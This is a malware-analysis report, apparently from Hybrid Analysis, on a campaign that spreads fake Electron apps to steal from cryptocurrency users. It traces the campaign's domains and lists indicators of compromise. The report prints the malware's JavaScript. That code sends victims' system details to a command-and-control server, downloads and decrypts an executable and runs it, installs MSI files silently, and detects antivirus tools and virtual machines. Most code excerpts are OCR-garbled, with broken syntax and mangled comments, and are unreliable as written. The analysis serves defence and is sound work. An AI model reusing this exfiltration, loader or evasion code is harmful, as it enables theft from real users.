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Sophisticated cybercriminal operation targets cryptocurrency users and Web3 employees

Malware delivered through fake Electron applications disguised as legitimate tools

Uses extensive infrastructure of 80+ domains across multiple campaigns

Employs advanced social engineering with elaborate fake company ecosystems

Shared infrastructure suggests links to multiple traffer groups including "Marko Polo", "CrazyEvil", and "Wagmi"

Documented earnings of at least $2.4 million from cryptocurrency theft

Hybrid Analysis has identified a sophisticated cybercriminal operation targeting cryptocurrency users and Web3 employees. This threat actor is part of
an organized "traffer gang" — an organized cybercriminal operation with hierarchical structures that specialize in delivering malware through convincing
social engineering lures for financial gain. It has evolved from basic phishing to highly targeted attacks using fake companies, sophisticated malware,
and elaborate social engineering techniques. The campaign shows clear signs of Russian-speaking threat actors, based on code comments and
operational patterns.

A Hybrid Analysis Perspective

As we can see in the Hybrid Analysis report, the process drops multiple compressed files, namely app-64.7z and app.asar.

Dropped file has high entropy (likely encrypted /compressed content)
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Figure 1 — Multiple encrypted or compressed files are dropped

The malware also creates multiple executables and DLLs, some of them being dependencies for Electron applications (Figure 2).
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Figure 2 — Dependencies and other suspicious executables are created by the malware

As we can see in the process tree, the process spawns a new executable called Opulous Client.exe and queries the registry for the machine GUID
value:
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Figure 3 — Process tree

A Deeper Dive

In the first part of the analysis, we analyze a malicious Electron-based application called “Opulous”. The application asks a user to register or login in
the main window:
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Figure 4 — Malicious application’s main window

The malicious component can be found in the 7-Zip archive app-64.7z, specifically app.asar file, which is an archive format designed for_Electron
apps. Asar7z is a plugin for the 7-Zip tool that can be used to extract the content of an ASAR archive.

Figure 5 — Content of the app.asar archive after extraction

The JS file main.original.js is a leftover by the threat actor that contains the unobfuscated JavaScript code, and the main.js file is the obfuscated
version. We continue with the analysis of the unobfuscated script.

Figure 6 reveals the command-and-control (C2) server opulous-app].]live and a series of comments in Russian. The malware can specify command
line arguments such as “novm” or “disablechecks”, which skips the verification of the VM and Server detection.
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const { app, BrowserWindow, ipcMain } = reguire("electraon™);

const path = reguire("path");

const | execSync } = require("child process");

const o5 = require("os"):

const fs = reguire("f=");

const axios = require("axios");

const erypto = require("crypto");

ive"; /) HNowmeH EIMeHTa

A MMAa KnmMeHTa LNA OTOpaBKM Ha CcepBe)

L B HOPpHE NpOoBETAa

const AFI URL = "hitps: I P 1:
const CLIENT NAME = jpulous-=C nt=
const BLACKLIST DIR = path.join(__ dirname, "blacklist™); // Nanxa
let mainWindow;

let authWindow;

let appProcess = null;

let isAuthenticated = false;

let skipVMCheck = false;
let skipAllChecks = false;

BM

BCEX NMPpOBERO

/i Nporepra
const ar I
if {(args.includes(”
skipVMCheck = true;
console. log{"VM check diszal d via command 1ir irgqument™) ;

Il args.includes ("

ey

}

if {args.includes(
skipAllChecks = true;
console. lag{"A hecks (VM and server) disabled wvia command lin irgqument™) 2

‘hecks") |1 args.includes("disablechecks")}) {

Figure 6 — The original script highlights the C2 server and has comments in Russian

First, the malware calls a function named sendClientName() that extracts many details of the machine. It creates a payload based on this info and
exfiltrates data to the “/client-name” URI on the C2 server:

£/ dyHELMA ANA OTHpADKH MMEHM KEAHEHTa Ha cepBep
agyne function sendClientMamea () |
try

console, log{ Oropasxa mMens kamenra: ${CLIENT NAME} ") ;
const sysInfo = await getSystemInfo();

const payload = {

clientName: CLIENT NAME,

ip: sysInfeo.ip,

country: syslnfo.country,

language: sysInfo.language,

userName: syslnfc.username,

system: sysInfo.os,

timestamp: new Date().tolS0String()
bi

const response = await axios.post( ${API_URL)}//client-name’, payload, { timeout: by :

if (response.data.success) {
console.log(' B Mua IeHTa YCNemHo OTIDABISHO H epaep”) ;

} else {
uuusoLu.lug{'){ nrGea npM MpapKe MMeHM knuedTa:', response.data);

}
} eatch (error) |
=.:-'H'.!Z-":l](.‘.(.‘!'I'(‘!"{' x TN R 4 new "I E FLRAE M THC L HE ‘.“l'r'-'Jr'.EIC.‘!i.'Zd(J(!: H

Figure 7 — Extract system information and exfiltrate it to the C2 server
The extracted information includes the following (Figure 8):
o Private and public IP address
¢ CPU model and RAM size

« OS version
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» Hostname and Username

e GPU information

« Installed antivirus software

« Language and country extracted from the public IP

o Whether the machine is a virtual machine or a server

asynec function getSystemInfo() {

censt localelnfo = await getLocalelnfo():
const ipData = await getlPAddress():
return {
cpu: os.cpus() [0].model,
ram: Math.round{os.totalmem{) / ! 1) .

: getFriendly0S(),
hostname: os.hostname (),
z. userlnfo() .username
ip: ipData.ip,
gpu: getGPUInfo(),
antivirus: getAntivirus{(),
language: localelnfo.language,
country: ipData.country,
isVM: isVirtualMachine(),
isServer: isServerEnvironment (),

}i

username: oC

]
0

Figure 8 — Collect information about the infected machine

The malware extracts the local IP address by calling the networklInterfaces function. The public IP address is retrieved using a list of four legitimate
websites, as highlighted below.

async function getlPAddress() {
const nets = os.networkInterfaces();
let locallP = "unk wn' ;
for (const name of Object.keys(nets)) {
for (const net of nets[name]) {
if (net.family === " 1" && "net.internal) {
locallIP = net.address;
break;
}
}
if (locallIP '== "unknown") break;
}

const publicIPServices = [
" — . :

1:

let publiclIP = locallP;
for (const service of publicIFSerwvices) {
try |
const response = await axios.get(service, { timeout: 1)
publicIP = response.data.trim();

if (punliclP && /™NaA{1,3IN. NG {1,3}5.\d{1,3}\ . \a{1,3}8/.test(publiciP)) {
onsole.log{ Public IP obtained from ${service}: ${publicIP}’);
break ;

Figure 9 — Private and public IP addresses are retrieved by the malware

The malicious process obtains GPU information using three methods displayed in Figure 10.
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Figure 10 — Obtain information about the GPU

The executable is looking for registry keys, services, and processes associated with multiple antivirus vendors:

function getintlvicosd) §
Ty 1
L (pr T - i
Eey
aanEn | bpur = [
i ¥ Erus
1
it i IoAL I peat ot Iy &4 ° f fead [N |
L 1% ¥
EErnEn I ik
I
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Figure 11 — Antivirus detection

Even if the initial executable is a Windows PE file, we've identified JavaScript code that suggests Linux machines could be a target as well. As we can
see below, the process verifies the presence of multiple AV processes and services on Linux OS:

6/21


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS30wiadhwvzWWPtegWLBdTgizWsLpKLtY0KymOXTt5QM-F9bbyoZen6kLWN11TXC-be7zJlR8d-0d3Az6eU9QlXELlIzYVsmn-QR7ElRn9JgkNzHB0G-WAnRGT0TNRUbyZFIWjiCHdjLUTQ_yYX8iJizgmgaODfGNRPL26en5zaICTUBvFH-fi1hk9gUh/s1674/10.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS30wiadhwvzWWPtegWLBdTgizWsLpKLtY0KymOXTt5QM-F9bbyoZen6kLWN11TXC-be7zJlR8d-0d3Az6eU9QlXELlIzYVsmn-QR7ElRn9JgkNzHB0G-WAnRGT0TNRUbyZFIWjiCHdjLUTQ_yYX8iJizgmgaODfGNRPL26en5zaICTUBvFH-fi1hk9gUh/s1674/10.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgizeNoGilQ5WZ-Pn8VHk3bIr359Y2R4rjtqJsASZ8DbHFCBUJgT8oaA_oVx0ipwuUFdBRhG48mpc-D4fFPuOnsIOIz07MFTxjCd_MAJsdrnRzN0ZNv2vb3RDv0L3AWWmXIdBEgvD16VQNwK_cmctc8ogZBUPQYMEaJd9CtjUzpLK0Yw7rAr9-ECJApC6uu/s1479/11.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgizeNoGilQ5WZ-Pn8VHk3bIr359Y2R4rjtqJsASZ8DbHFCBUJgT8oaA_oVx0ipwuUFdBRhG48mpc-D4fFPuOnsIOIz07MFTxjCd_MAJsdrnRzN0ZNv2vb3RDv0L3AWWmXIdBEgvD16VQNwK_cmctc8ogZBUPQYMEaJd9CtjUzpLK0Yw7rAr9-ECJApC6uu/s1479/11.png

const [
{ name: "ClamAV", process: " i", serwvice: "clamawv- |
{ name: "Sop ", proc ", service: " 1"},
{ name: "ESET", process: "es: nodizZ2"™, service: " d32" )},
{ name: "Comodo"™, process: " ", service: " "},
{ name: "F-S5 re", process: "fsavd", service: "fsav" }
1:
for (const av of linuxAntivirus) {
try {
const taskOutput = execSync( ' ps -C §{av.process} --no-headers’, {
encoding: "utfg",
timeout: 3 ’

b
if (taskOutput && taskOutput.trim()) {

console.log{ Linux antivirus detected via process:

return av.name;
}
} cateh (=) {
// Npoponxaes NOMCK

try {

const servic

encoding: i,
timeout: .
Yy

if (serviceOutput && serviceOutput.trim() ===

console.log( Linux antivirus detected wvia service:

return av.name;
}
} sateh (=) |
// Npononxaed NOUMCK

S{av.name} ") ;

=Output = execSync( systemctl is-active §{av.service}’

"y A

S${av.name} ")

r

{

Figure 12 — Linux antivirus processes and services

The malware verifies whether the current host is a virtual machine by checking information against a list of machine GUIDs, processes, services, and
so on. We've identified a GitHub repository containing the same characteristics of the sandboxes used by VirusTotal dynamic analysis feature.
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J ¢ Mpopepra Ha BHPTYANBHYD MammHy depez VirusTotal blacklist
funetion i=sWVirtualMachinae() {
if (skipVMCheck || skipAllChecks) {
consale. log ("VM ch kK skipp [T Flag™);
return false;

}
congole.log{"Starting WM blacklist detection..."}:
try |
conat files = |
machineGuid: path.join{BLACKLIST DIR, "MachineGuid.txt®™),
pcMame: path. jein{BLACKLIST DIK, "pc name E.bxt™),
sarvices: path.join{BLACKLIST DIR, "services list.ixL7),
basoBoardManufacturer: de;.Jﬁ1nEHLL,Kdlbl llt, "BaseBoard Manufacturer . Ext"),
baseBoardsSerial: |.-.|LI|._|-.JJ...IBJ.'".EH]]_._L[H.. "HazeBoard Serial List.bxce™),
kiosSerial: path.join{BLACKLIST DIR, "I erial List.txt™),
cpuSerial: path.joln{(BLACKLIST DIR, "CPFU Serial List.t=t"],
diskDriveSerial: path. join{BLACELIST DIR "DiskDrive Ser L.Lxt™),
gpu: path.join(BLACKLIST DIR, “"gpu Ny
hwid: path. f.:-1r|[ﬂ-'.-‘1CH[.T."ﬁ. DIR, "hwid L.LxL™),
hwProfileGuid: path.joln{BLACKLIST DIR, "Hwle ebuid sk .txt"]),
ip: path. join(BLACKLIST DIR, "ij _.' LEEE")
mac: path.1c1ntHL&LKLlul ULH "ma st.txt"),
pelsaername: path. |-'.|||{'I'ir..-".l.'.'.'i:fT 3T_DIR, "peo_usernamd st.LxL™) ;
processes: path.join (BLACKLIST W]H, "process: list.t=t™}),
poPlatforms: path. Joln{BLACKLIST _DIR, "po plat rms . TRL")
b:
const getValue = [(file, getter) => {

if {fz.existaSync{file)) {
canst content = fs.readFileSyne(file, "ubfEi") . .tolowerCase () .split{"wn") . filter{line =» line.trim{));
congt value = getter{).toLowerCage () ;
console. log (" Checking ${!’i'|r'-] - valpe = ${valuel, content length = S${content lengbh) Th s
return content.includes {(value)
]
console,log (" File net feund: S{file)’):
return false;

Figure 13 — VM detection based on known artifacts

For server detection, the malware verifies if the OS version contains a list of keywords and the presence of strings in the hostname that could indicate
a Cloud or Enterprise environment. It also verifies if the role of the current machine in the workgroup is 2 (“StandaloneServer”):
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funzi.::i.n:.:n. isSarverEnvi :--.' mszn til {
if (skiphAllChecks) {
console ., log ('

return false;
1
onsole. lag (™
try {
conat hostname = o, hostname
const oasTyvpe = as.type () . Lolows
const osREeloase = os.release () - tolowerCase () ;
conat sorverOsKeywords = [
L
r
r
" I.l
]:
for {const [index, keyword] of serverOsKeywar
const asMatch = e lease . includes (keyword)
cansale. loqgl  Server 05 check S{index + 11.758(
if (osMatach)y {
nEmale. log (" Sarver 05 detected: ${k W
return true;
1
}

The process listens to multiple_channels such as “process-auth-data
specific function would be executed. For the first channel we mentioned, the process generates an email address based on the input username in the

Figure 14 — Verify if the infected host is a server

» o«

submit-email

get-system-detail”, and others. When new messages arrive, a

app and exfiltrates the system information to the C2 server, requesting a file that would be downloaded, decrypted, and executed on the local machine:
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tpcMalin.onf'procezs-auth=-data’ ; asyns {(ewent, authbData) = i
conacle,log{"Processing auth data for app launch:"', authData);

econst { username, password, l1sLoginMode, serverBesponse ) = authDatar
conat generatedEmall = generateEmail FromUzernams (usernama) ;

console, lag( Generated email from usernams "${usernams} ”: S{gencratedEmail) ")

try {

conat syslnfo = await getSystemInfo(l);

F4 Beerna NETasMcd Noay4aThs $alin Yepes verily [(ong oboMs caywasn)
uutlzull':.'_'_*-gt"ﬂ.ttenq:lting to get file via verify for ${L5LugihMude ? "lagin® : 'registration®)...'):

const verifyResponse = await axins.pcst:'${API_URL}fvariff', {
email: generabedEmail,
uzername: generatedEmail
pazaward: password,
clientWame: CLIENT NAME,
-+ SYSINnLo
{3

if (verifyResponse.data.file && verifyResponse.data.key) |
console.log('File received via verily, launching application..."};

censt success = decryptAndRun (verifyHeaponse.data,file, verifyResponse.data.key):

if (succe {

FF DEnpaBnres CTAaTye Sanycea

await axiosz.post( ${API_URL}/status ", {
email: username,
status: "launched",
pid: appProcess 7 appProcess. pid @ "unknown™,
launchCode: erypts.randomBytes{f).toString{"hex™),
clientName: CLIENT MAME,
ariginalllsername: wsername,
goneratedEmail: generatedEmail |

authType: laLoginMode ? “lagin®™ @ "reglater®,
v e8yalnto,
by:
conscle. log{ "Application launched successfully after ${ilsloginMode ? "login' @ "registration'} )

}

Figure 15 — Generate an email based on the username and execute the downloaded file

The email generation function combines the username with known email domains (see Figure 16).

function generateEmailFromUsername (usernams) |
/7 CnUMcor nonyAApHeEX OOMeHOB INA DeHepaludH email
const emaillomains = [
'gmail.com®, 'yahoo.com', "hotmail.com', ‘outlook.c
'mail.com', "protonmail.com', "icloud.com', "aol.com

1;

// BeOMpaesd CHYYaRHEA HoMEeH
const randomDomain = emaillDomains[Math.floor (Math.random{) * emailDomains.length)];

£/ Ouumaes username oOT cChNeUMANbEHHY CHMBONOER
const cleanUsername = username.tolowerCase().replace(/[*a-z0-9]1/g, "'}):

// Ecnu username yxe cofepduT B, Bo3BpallaeM Kak ecThb
if (username.includes{"@°}) {
return username;

[/ Tenepupyed email
return “§{cleanlUsername} @ {randombDomain} " ;

Figure 16 — Email address generation
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The file specified by the C2 server is Base64-decoded and decrypted using AES256, with the key being transmitted by the server, and IV is composed

of NULL bytes. The newly-created executable is saved as tradingview.exe and spawned by the process:

function decryptAndRun (encryptedData, key) {
try (
const iv = Buffer.alloc(lo, 0);
const keyBuffer = Buffer.from{key.trim(), "hex");
const decipher = ecrypto.createlDecipheriv({"ac: i bc", keyBuffer,

let decrypted = decipher.update (Buffer.from(encryptedData, ase6d")) ;

decrypted = Buffer.concat ([decrypted, decipher.£final()1);:

console. log(” I ed , decrypted.length);

const documentsDir = path.join(os.homedir(), "Docw )

const exePath = path.join{documentsDir, "trad [view.exe") ;

fs.writeFileSync(exePath, decrypted);
console.log (" rypted ex file | : ", exePath);

const { shell } = require(” t ")
const promise = shell.openPath(exePath) ;

promise.then{(errorMessage) => {
if (errorMessage) {
console.error ("
try {
const { spawn } =
const options = {
detached: true,

, errorMessage);

require ("cl 1 process"™);

stdio: I ",
windowsHide: false,
cwd: documentsDir,
env: process.env,
b
const childProcess = spawn(exePath, [], options);
childProcess.unref () :
appProcess = childProcess;

console.log ("Pr : rted w PID:", childProcess.pid):

Figure 17 — Decrypt the content using the AES256 algorithm and run the newly-created file

The second Electron-based_downloader we have identified needs a token to run properly. This token can be extracted from the command line

arguments or the App Launcher’s URL and is validated with the C2 server:
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app.on{'open-ur ;, levent, url) => {
event.preventDefault () ;

try |
const cleanlrl = url.replace(/\\/g, "').replace(/"/g, "');

const parsedlr]l = new UEL({cleanlrl);
eonst token = parsedUrl.searchParams.get('token');
if (token) {
verifyToken (token) ;
}
} cateh (=) {
console.error('Invalid URL receiwved:', url);

console.error('Error details:'
}
B
if (process.platform === 'wini2'} {
app.setAsDefaultProtocolClient ("apg iuncher") ;

eonat gotThelock = app.redquestSinglelnstancelock()

if (!gotThelLock) {
app.quit();

} else |
app.onf’'second-instance’, (ewent, argwv) => {
const url = argv[argv.length - 1];
if (url.startsWith('app-launcher://")) {

try |
const cleanlrl = url.replace{(/\\/g, "').replace{/"/fg, "'):
const parsedlrl = new UEL({cleanlUrl);
eonst token = parsedUrl.searchParams.get{'token');
if (Loken) {
verifyToken (token) ;

Figure 18 — A token is mandatory for a successful execution

The process displays a fake verification screen while the verification is in progress:
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asyne function veri
1f (V1tokend |
csonsole.error|

vToken[token) |

oeturn;
¥
1f [verificationIinFrogress) |
EaTUEn
|
verificationlnProgress = true;
try |
COonSt wal ghialog = dialeg
Eype:r v

cicle:
message:
buttans: [°
dalfauleId:
cancelld:

[

0

const checkZtatus = async () => |

sult = await sendiWerificaticnBeguest (token):

try {
const re
1f (result. access === Lrge)
dialog.showMessageSax |
TYpe: ifat,
title: t
message: 'k

kh:

buttens: ["Clase'],
defaultId: 0,
cancella:

showHessagebox ([

The malware sends the token along with system information such as OS version, username, CPU name, RAM size, MAC address, and GPU

information:

Figure 19 — Verification screen is displayed to the unsuspecting user
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async function sendVerificaticnRequest{(token) |

try |

const hwid = await getHWID() ;

Il

8 Cof MpaamM :-1|I:|_---!:l)'.|':_:-1l-| O CHOTS M

const windowsVersion = await getWindowsVersion();
const systemInfo = {

nl:
n:
ni:
nd:
nbe:
noe:
ni:
nd:

LFai WY

for (const

nserlnfo.username,

pus () [0].model . trim() ,
as.cpus{) . length,
‘S{Math.round{os.totalmem({) F |

08

' } L
mnd”
R b -1
mnd” ,
"Not allable’

(aew MAC-anpec
interfaceName in networkInterfaces) {
const interface = networklnterfaces[interfaceNamea] ;

for (const detalls of interface) |

if (details.mac && details.mac V== '00:00:00:
systemInfo.ng = details.mac;
break;
}
}
if (systemInfo.nd '== 'Hot found') break;
}
S MonyyaeW MEpopMaUME © BHIASCKADTE
if (process.platform === "winiZ2"} {
const gpulnfo = await new Promise{(resclve) =»> {
axec {"wmi oAt 17 | | trol r et 1
if ('error) {
resolve(stdout.split (""n'Y[1].trim() ) ;
} else |
resolwve ("N ound®)
}
bh:
by
systemInfo.n7 = gpulnfo;
}
const requestData = {
"token™: token,
"hwid": hwid,

* ok

24¥y} GBT,
‘S{windowsVersion} ${cs.release()} S${cs.arch()} .,

)

s (error,

{

The malware acts as a downloader by downloading and running executable and MSI files based on two fields called “link1” and “link2”, specified by

Figure 20 — Data to be exfiltrated to the C2 server

the C2 server (Figure 21).

14/21


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDhIUYpI38LcJQlYzK2x9SKV0vhkXSPLBHOExVwGB3ZtEYqSYfrYLOQd0oqim82H9KntSy791mzNyykjzFm_eN3D2vMgisVURemcL5t5EqVyBhjOTFnOtPwuVAZmKMTAyS7H2WQZkUWO6wlPktKx69UgCJtAAdrsgIIBdg-tAvoHGRMR0D6sB3hWCuGyvS/s917/20.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDhIUYpI38LcJQlYzK2x9SKV0vhkXSPLBHOExVwGB3ZtEYqSYfrYLOQd0oqim82H9KntSy791mzNyykjzFm_eN3D2vMgisVURemcL5t5EqVyBhjOTFnOtPwuVAZmKMTAyS7H2WQZkUWO6wlPktKx69UgCJtAAdrsgIIBdg-tAvoHGRMR0D6sB3hWCuGyvS/s917/20.png

raturn naw Prom 2 [ Ea

asyno funoction runFile{filePath) {
I

if ['Es.existaSync(filePath)) |
onaale,arroer (] . 'y [llefPath)
roejoct (new Error 1 | £ 3 I
return;

m Pn.at n'!iyrh'tz LlePath) g

arrorf' i i npby: ¥, EilaPath)
rajoct (neaw Errar | Wi
raturn;

gonst axt = path.extnama ([ilaePath).tolowerCasae () ;
Af feaxt Tem ' oxe" EE oxt (e ' B |

nsala.arroc (' I | 1 | ', axt)
reject (naw Errar " Unsugpg I TSI I
return;

Af (exl === ' o
const command = ‘msiexec fi “S{filePath}”® /gquiet /norestart ;
arec {command, {error) = {
if (errory |
nacle, &rror
ravject (errar)
} elpe |

resclve () ;

{' MEL:', error);

kb
} elee |
conat commangd = SifilaPath] = @2
e {eommand,
datachad: TEEE,
shall: tous,
WindowasH1de: true

Figure 21 — Download and execute .exe and .msi files

The binary can also run Python scripts using the Python executable disguised as a different executable name:

agyme function runkyshe
eatuen new Fi
Eojal

aonak

ript, 1a17Hlt = falase] |

raject) = [

Ladzgit 7 ° L it i i ' o

E T ¥ " s o}

k. jakln(oa. tapdir (3, confiqg. tempDie.pyihen, BitFaldar, pycthonExeNana) @

aonak |

sonaale. Lo [ Ruaning Python script with S{ia3ZRit ¥ '} vession: , pythoenBExel ;
if (le.existaSyne lpylhonBx=)) |

resjoct (new Error il Python sxecutable net found: SipythonBxebams) b :

rEtarn

Condt cormand = SipvrhaonkExe} ™ -0 "§{scripk}~";
ronsala. Log [ Exacuting command: §{commard] ]2

Figure 22 — Run Python scripts

According to previous campaigns and our analysis, the second stage can be an information stealer such as Rhadamanthys and Lumma on Windows
and Amos/Atomic Stealer on MacOS.
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Mapping the infrastructure

From July 2024 through June 2025, a series of sophisticated cryptocurrency-focused social engineering campaigns emerged, targeting Web3
developers and project teams. Beginning in summer 2024, attackers utilized fake websites, GitHub repositories, and social media presence to
distribute malware through seemingly legitimate applications. By September 2024, researchers identified 'Marko Polo', a financially motivated traffer
team managing a Traffic Distribution System (TDS) responsible for over 30 social media scams using multiple malware families. December 2024 saw
the emergence of the 'Meeten campaign' targeting Web3 employees with fake meeting software. Early 2025 brought an expansion of the fake
company ecosystem, with threat actors adopting verification badges on social media platforms. By spring 2025, the NexVVoo campaign demonstrated
refined two-stage social engineering tactics and implemented invitation codes distributed through social apps to avoid detection. April 2025 research
revealed the Wagmi traffer team's operations, which generated $2.4 million between June 2023 and March 2025 through sophisticated cryptocurrency
targeting. By June 2025, the campaign had evolved to include numerous fake companies, leading to the revocation of a legitimate certificate from
Paperbucketmdb ApS due to malicious usage.

Our investigation identified over 80 domains in this campaign, showing how these operations have evolved from basic phishing to targeted attacks
against Web3 users. The malware analyzed in the previous section represents the initial infection vector that compromises machines, profiles them,
and can execute additional second stage payloads. We present the evolution of activities below.

September-October 2024: We observe new infrastructure with the same Al-themed productivity tools. Domains like klast[.]ai (registered 2024-07-16),
slaxail.Japp, swox[.]ai, and dexis|.]io emerged, again with shared web template similarities. Threat actors pivoted to using Electron apps for malware
delivery, conducting exfiltration through JavaScript. C2 infrastructure included cnfreund[.Jcom, hojosy[.Jcom, and sumachpress[.Jcom.
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Figure 23 — Various lures with “Al-powered productivity apps” theme.

November-December 2024: Operation evolved to target crypto investors with fake Web3 gaming projects. New domains included metatoy[.Jio,
primalversel.]io (impersonating Cavemen Club game), and streamyard variants. Technical sophistication increased with NSIS installer abuse (90MB+
signed executables) to avoid detection. Malware samples contained Russian comments ("Cobupaem nHdopmaumio o cucteme", "lMepexsarbiBaem
coobLeHus 13 koHconu").

May-July 2025: We observed further infrastructure expansion with lapeail.]io (registered May 9, 2025), scoil[.]ai, scoil[.]cc, and speeka.ai variants, all
cloning https[:])//affine[.]Jpro/ web template and its Github repo README.md template. Threat actors created elaborate fake team structures with 35+
"core members" to enhance legitimacy. From these, only some of the accounts actively promoted the projects while others were
purchased/compromised accounts with crypto-themed usernames or otherwise valid accounts with bios and posts related to web3/crypto.

July-November 2025: Latest evolution includes vixcall domains and expanded C2 infrastructure (pelletibor[.Jcom, dloutstanding[.Jcom, itmab[.Jcom,
mrajhhosdoahjsd[.Jcom, solus[.]Jtoday, and solus-app[.]digital).
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September-October 2025: Significant pivot to airdrop-themed infrastructure observed with the creation of multiple domains targeting DeFi users.
Infrastructure analysis revealed a shared hosting pattern with eight malicious domains (asterdex-drop[.]Jeu, asterdrop[.]run, fluencedropl.]digital, aster-
dex[.]eu, asterdrop[.]digital, sunperpl.licu, meteoradrop[.Jcom, and fluencedrop[.]eu) all hosted on the same IP address (62.60.226[.]16) as the
previously identified solus-app][.]digital and solus|.]today domains. These new domains — created between September 24 and October 7, 2025 —
showed high detection rates by security vendors (11 malicious detections for asterdex-drop[.]Jeu at the time of writing), indicating a coordinated
campaign shift toward exploiting airdrop FOMO in the crypto community.

Our investigation uncovered an extensive network of 80+ domains associated with this campaign, revealing a more complex picture of the threat
actors' infrastructure than previously documented. The malware contained distinctive Russian comments in the code, including "®yHkuuns gns
reHepauuu cnyyariHon ctpoku” (Function for generating random strings) and "lMNepexsaTbiBaem coobiyeHunst n3 koHconu" (Intercepting console
messages), providing potential attribution indicators. Beyond the domains mentioned in published reports, we discovered additional C2 infrastructure
including macattic[.Jcom, woaihuanbao[.Jcom, addonsystem[.Jcom, shedegei[.Jcom, and tmcxchem[.Jcom, as well as previously undocumented
distribution sites like flowus variants, talkon variants, yovox domains, and zynce[.]Jorg. The September 2025 pivot to airdrop-themed domains (created
between September 24 and October 7) represents a significant tactical shift, suggesting the threat actors are adapting to target the growing interest in
token airdrops following major DeFi protocol launches.

We have identified the following accounts promoting the malicious apps on Social Media:
o SpeekaAl (Telegram, X)
* NexBeeAl (Telegram, X)
o CryptalixAl (X)
o AppScoil (X)
» ScoilApp (GitHub, GitBook, linktr.ee)
o SlaxApp (GitHub, Telegram, GitBook, linktr.ee)

o SolusApp (X, GitBook, Telegram, linktr.ee)

o FlowUsApp (X)

e Yovox (X, Medium, GitBook)
» VocalinkLive (X)

* NexVoo (GitHub, Telegram)

« TalkOn_Al (X)

Technical Evolution

1. Initial Delivery: Evolved from simple malicious downloads to sophisticated signed executables (certificates from "IT POLONIA SP Z O O",
"Richester Business Network Inc.", "HAM AND FIRKIN LIMITED", "Jiangyin Fengyuan Electronics Co., Ltd.", and "Paperbucketmdb ApS"). The
TRAC Labs research revealed that traffer groups like Wagmi systematically abuse code signing certificates, cycling through multiple GlobalSign
EV certificates after each revocation, demonstrating a persistent pattern of certificate abuse across the ecosystem.

2. Malware Capabilities: Progressed from basic fingerprinting to comprehensive system profiling:
o Username, CPU model, processor count, RAM, OS version, MAC address, GPU information
o Anti-analysis techniques including file size randomization (0.2-2MB of random data)
o Random directory creation for evasion
o Anti-VM/sandbox detection for macOS (checks for QEMU, VMWare, Docker-OSX)
3. Social Engineering: Advanced from opportunistic phishing to highly targeted approaches:
o Initial: Generic productivity tool lures
o Mid-stage: Al-powered applications targeting tech enthusiasts
o Current: Customized approaches based on victim profiles with just-in-time infrastructure

o Latest: Fake conference presentations with photoshopped images (e.g., Eternal Decay)
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o Automated victim identification tools like the "Wagmiscapper" that collects cryptocurrency wallet addresses from Twitter to identify high-
value targets
4. Legitimacy Building: Increasingly sophisticated methods to appear genuine:

o GitHub repositories with fake contributors and inflated metrics
o Al-generated Medium blog posts and documentation

o Fake team structures with purchased/compromised social media accounts

o

Merchandise sections on websites (conveniently already sold-out) to enhance credibility

o Notion pages for product roadmaps and employee details

o

Fake company registration information linking to legitimate but unrelated businesses

o

Detailed fake "Staff Guidance Manuals" and "FAQ" documents to build trust with victims
5. Platform Targeting: Expanded from Windows-only to cross-platform attacks:

o Windows: Electron applications with Python components for stealer functionality, evolving to use HijackLoader to deliver Rhadamanthys
and Lumma stealers

o macOS: DMG files containing Amos/Atomic Stealer with persistence via LaunchAgent

o The malicious binaries cannot be downloaded without registration codes — given by the social media group admins — to limit analysis
exposure

o Browser-based attacks including wallet drainers targeting Phantom wallet users
6. Infrastructure Sharing: Evidence of template and infrastructure sharing between different traffer groups:
o Vixcall template reused by Wagmi for their Splare meeting software
o Common API paths for payload delivery across different campaigns
o Shared hosting infrastructure between different scam operations

o Domains with similar naming conventions/themes created after previous domains are taken down

o

Standardized victim tracking using build IDs in Telegram logs

There is a clear evolution from opportunistic phishing to highly targeted attacks against the Web3/crypto ecosystem, with threat actors continuously
adapting their technical capabilities and social engineering techniques to evade detection and maximize success rates. The operation has clearly
grown from isolated incidents to a sophisticated ecosystem of interconnected fake companies, mimicking the "CrazyEvil" TPPs documented in
previous research, a traffer group that has reportedly generated millions in revenue from cryptocurrency theft. While definitive attribution to CrazyEvil
or associated teams cannot be indisputably confirmed, the tactical patterns align closely.

We assess with moderate confidence that there is a connection between the Marko Polo and Wagmi traffer operations. This assessment is based on
multiple converging indicators, including: shared website design patterns and information architecture; parallel operational pivots from Al productivity
applications to crypto/web3 themes; concurrent domain registration timeframes; similar legitimacy-building tactics; consistent naming conventions
(nexvoo, nexbee, swox, dexis, yovox, slax, klast); distribution of identical malware families (HijackLoader and AMOS); comparable domain
replacement agility when facing blocks; and preference for similar TLDs (.app, .io, .ai). While each indicator individually provides weak correlation, their
convergence suggests shared infrastructure, methodology, or coordinated operations.

This operation showcases the extensive effort threat actors invest in establishing legitimate-appearing companies, combined with their use of
increasingly evasive malware to target cryptocurrency holders.

Indicators of Compromise

C2 servers

cnfreund[.Jcom hojosy[.Jcom sumachpress[.Jcom macattic[.Jcom

woaihuanbao[.Jcom pelletibor[.Jcom dloutstanding[.Jcom itmab[.Jcom
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addonsystem[.Jcom shedegei[.Jcom

tmexchem[.Jcom

trouveur[.Jcom

opulous-app][.]live

Distribution/Malicious websites

speekal.Japp

speekal.]ai

lapeail.]io

lapeail.]Japp

nexbee[.Japp

nexbeel.]ai

flowus[.]tech

flowus[.]Jworld

flowus|.]Jorg

flow-us[.Jcom

flowus.]io

flowus[.]Japp

flowus[.Jcom[.]co

primalversel[.]io

metatoyl[.Jio

metatoy][.]ai

streamyard[.]ai

streamyard[.]t[.Jcom

streamyard][.]studio

streamyard].]life

streamyard|.]zone streamyard[.]Japp scoil[.]ai scoil[.]Jcc
klast[.]ai slaxai[.]Japp swox[.]ai swoxappl[.Jcom
swox[.]Jus swox[.]Jcc dexis[.]io dexis[.]app
jandi[.]ai beesy[.]Japp cryptalix[.]ai solus[.Jrun
solus[.]Jtoday solus-app[.]digital talkon[.]Japp talkonail.Japp

talkonail.]io

talkon[.Jcc

vocalink[.]live

yovox[.]xyz

yovox[.]space

yovox[.Jworld

yondal[.]tech

yonda[.]Jus

nexvool.]app

nexvool[.]us

nexvool.]Jnet

nexoracore[.]Jorg

nexloopl.Jcc

